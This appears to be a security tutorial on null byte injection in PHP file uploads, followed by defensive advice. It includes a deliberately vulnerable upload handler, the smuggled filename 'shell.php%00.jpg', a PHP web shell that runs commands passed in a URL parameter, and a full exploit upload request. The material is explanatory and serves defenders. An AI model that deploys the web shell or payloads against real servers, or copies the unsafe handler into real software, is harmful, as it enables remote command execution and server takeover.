Null Byte Injection & Payload Injection into Files: A Security Deep Dive

Null byte injection is a classic exploitation technique in which attackers insert a %00 (hexadecimal null byte) into a string to manipulate how programs or functions interpret it. Although the technique has been largely mitigated in modern languages, legacy systems, misconfigured software, or unsafe bindings remain vulnerable.

When combined with payload injection into files, null byte exploitation becomes dangerous — allowing attackers to bypass file validation, overwrite files, or execute malicious code.

What Is a Null Byte?

A null byte (\0 or %00) is a special control character that indicates the end of a string in many programming languages, particularly in C and older PHP versions.

Example in C:

#include <stdio.h>
 
int main() {
    char filename[50];
    sprintf(filename, "test.txt\0malicious.php");
    printf("Opening: %s\n", filename);
    // The program only sees "test.txt"
    return 0;
}

Even though "malicious.php" is present in memory, functions relying on C-style strings will stop reading at \0.

Null Byte Injection in File Upload Exploits

Consider a PHP upload handler:

<?php
$filename = $_FILES['upload']['name'];
 
// Intended validation
if (strpos($filename, '.jpg') === false) {
    die("Only JPG files allowed!");
}
 
// Saving file
move_uploaded_file($_FILES['upload']['tmp_name'], "uploads/" . $filename);
?>

Vulnerable scenario:

  1. Attacker uploads a file named:

    shell.php%00.jpg

  2. Older versions of PHP (before 5.3.4) would interpret the %00 as string termination at the OS level.

  3. The check passes because .jpg is in the string, but the saved file is actually:

    uploads/shell.php

  4. Now the attacker can execute arbitrary PHP code.

Payload Injection into Files

Null byte injection can be used to bypass file type restrictions and plant malicious payloads, including:

  • Web shells
  • Backdoors
  • Malware executables
  • Script injections in image metadata

Example malicious payload (PHP web shell):

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

If uploaded under the guise of an image, the attacker gains remote command execution.

Real-World Example

A vulnerable upload endpoint:

move_uploaded_file($_FILES['file']['tmp_name'], '/var/www/uploads/' . $_FILES['file']['name']);

Exploit:

POST /upload.php
Content-Type: multipart/form-data

------boundary
Content-Disposition: form-data; name="file"; filename="exploit.php%00.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------boundary--

The %00 causes only exploit.php to be recognized by the filesystem, leading to code execution.

Blue Team Best Practices

1. Avoid relying on file name extensions for security

  • Use MIME type detection (finfo_file() in PHP).
  • Prefer whitelisting allowed file types.

2. Sanitize and normalize file names

  • Remove null bytes:
$filename = str_replace("\0", '', $_FILES['file']['name']);
  • Use generated file names rather than user-supplied names.

3. Store uploads outside the web root

  • Prevent direct execution by serving files through a secure handler.

4. Patch and upgrade software

  • Modern PHP versions reject %00 in file functions.
  • Ensure frameworks and libraries are up to date.

5. Apply Web Application Firewall (WAF) rules

  • Block suspicious file uploads containing null bytes or double extensions.

Summary

Null byte injection may seem like an outdated attack, but it remains relevant in legacy systems, poorly maintained software, and unsafe bindings between languages. When combined with payload injection into files, it can lead to full server compromise.

For defenders:

  • Always validate file types beyond the extension.
  • Strip dangerous characters like null bytes.
  • Store and process files securely outside public access.

Even if modern languages have patched null byte handling, assume attackers will find legacy code paths — and prepare accordingly.

Love it? Share this article: